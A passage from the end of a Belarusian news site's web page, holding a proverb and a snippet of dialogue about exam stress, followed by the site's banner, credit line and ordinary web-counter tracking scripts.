няма. <hr> Скупы плоцiць двойчы. Хачу працаваць у скупога... <hr> - Зноў гэты цяжар ў жываце. Напэўна, экзамены, стрэс. <br>- Добра, Даша, хопiць сябе супакойваць. </p> <!--REDexchange code 468x60 begin--> <SCRIPT language=JavaScript type=text/javascript> <!-- var rnd = Math.round(Math.random() * 10000000); document.writeln('\n'); //--> </SCRIPT><NOSCRIPT> </NOSCRIPT> <!--REDexchange code 468x60 end--> <p align=center><font face=Arial size=1> Iнтэрнэт-выданне<br><U>pahonia.pomedia.by</U><br> працягвае традыцыi газет ПАГОНЯ i ДЕНЬ.<br> <br><br> <font size=2><B>Спасылка на pahonia.promedia.by абавязковая.</B></font> </font><br><br><br> <!-- Akavita counter code --><a target=_top href="http://adlik.akavita.com/bin/link?id=10379"> <script language=javascript><!-- d=document;w=window;n=navigator;d.cookie="cc=1"; r=''+escape(d.referrer);js=10;c=(d.cookie)?1:0;j=0; x=Math.random();u=''+escape(w.location.href);lt=0; h=history.length;t=new Date;f=(self!=top)?1:0;cd=0; tz=t.getTimezoneOffset();cpu=n.cpuClass;ww=wh=ss=0; //--></script><script language="javascript1.1"><!-- js=11;j=(n.javaEnabled()?1:0); //--></script><script language="javascript1.2"><!-- js=12;lt=1;s=screen;ss=s.width; cd=(s.colorDepth?s.colorDepth:s.pixelDepth); //--></script><script language="javascript1.3"><!-- js=13;wh=w.innerHeight;ww=w.innerWidth; wh=(wh?wh:d.documentElement.offsetHeight); ww=(ww?ww:d.documentElement.offsetWidth); //--></script><script language=javascript><!-- q='lik?id=10379&d='+u+'&r='+r+'&h='+h+'&f='+f; q+='&c='+c+'&tz='+tz+'&cpu='+cpu+'&js='+js+'&wh='+wh; q+='&ww='+ww+'&ss='+ss+'&cd='+cd+'&j='+j+'&x='+x; d.write('<img src="http://adlik.akavita.com/bin/'+ q+'" alt="Akavita" '+ 'border=0 width=88 height=31>'); if(lt){d.write('<'+'!-- ');}//--></script><noscript> <img src="http://adlik.akavita.com/bin/lik?id=10379" border=0 height=31 width=88 alt="Akavita"> </noscript><script language="JavaScript"><!-- if(lt){d.write('--'+'>');}//--></script></a> <!-- Akavita counter code --> <!-- BEGIN Rating All.BY CODE - ALTERNATING THIS CODE WILL CAUSE TERMINATION ACCOUNT--> <A HREF="http://www.all.by/"> <IMG SRC="http://www.all.by/cgi-bin/rating.cgi?id=10007601" BORDER="0" WIDTH="90" HEIGHT="32" ALT="Rating All.BY"></A> <!-- END Rating All.BY CODE--> <!-- BR.BY counter code --> <a href=http://br.by/rate.cgi?1452 target=_top><img src=http://br.by/newbutt4.cgi?1452 border=0 width=88 height=31 alt="Белорусский рейтинг"></a> <!-- BR.BY counter code --> </p> </td></tr></table></body></html>